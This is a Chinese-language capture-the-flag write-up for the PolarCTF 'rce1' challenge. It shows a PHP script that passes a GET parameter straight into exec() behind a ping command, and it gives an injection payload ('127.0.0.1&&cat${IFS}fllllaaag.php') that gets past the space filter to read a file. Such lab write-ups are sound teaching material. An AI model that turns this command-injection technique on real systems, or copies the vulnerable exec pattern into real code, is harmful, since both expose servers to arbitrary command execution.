【PolarCTF】rce1

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

关键点在这

复制代码
 $cmd = "ping -c 4 {$ip}";
 exec($cmd, $res);

但是需要绕过

复制代码
if (!preg_match_all("/ /", $ip, $m))

preg_match_all会匹配$ip中的所有空格并存入到$m中,如果匹配成功即为True,但是前面有一个!,那么就会返回假

所以我们需要绕过空格过滤,成功执行

复制代码
cat /flag.txt

先尝试ls命令,得到flag的文件名

可知flag的文件为

复制代码
fllllaaag.php

通过${IFS}来代替空格

复制代码
127.0.0.1&&cat${IFS}fllllaaag.php

这里作者耍了个小心机,页面显示的是?,实际flag要在网页源代码中才能看到

相关推荐
一名优秀的码农3 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp3 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp3 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
岛屿旅人3 天前
2025年中东地区网络安全态势综述
网络·安全·web安全·网络安全
努力的lpp3 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
Mikowoo0073 天前
渗透测试_漏洞利用
网络安全
啥都想学点3 天前
pikachu靶场——Cross-Site Scripting-1(Kali系统)
网络安全
F1FJJ3 天前
基于网络隐身的内网穿透
网络协议·网络安全·go
苏天夏3 天前
Passport 插件:Typecho 密码安全的技术守护者
安全·网络安全·php
Lust Dusk3 天前
CTFHUB靶场 HTTP协议——302跳转
web安全·网络安全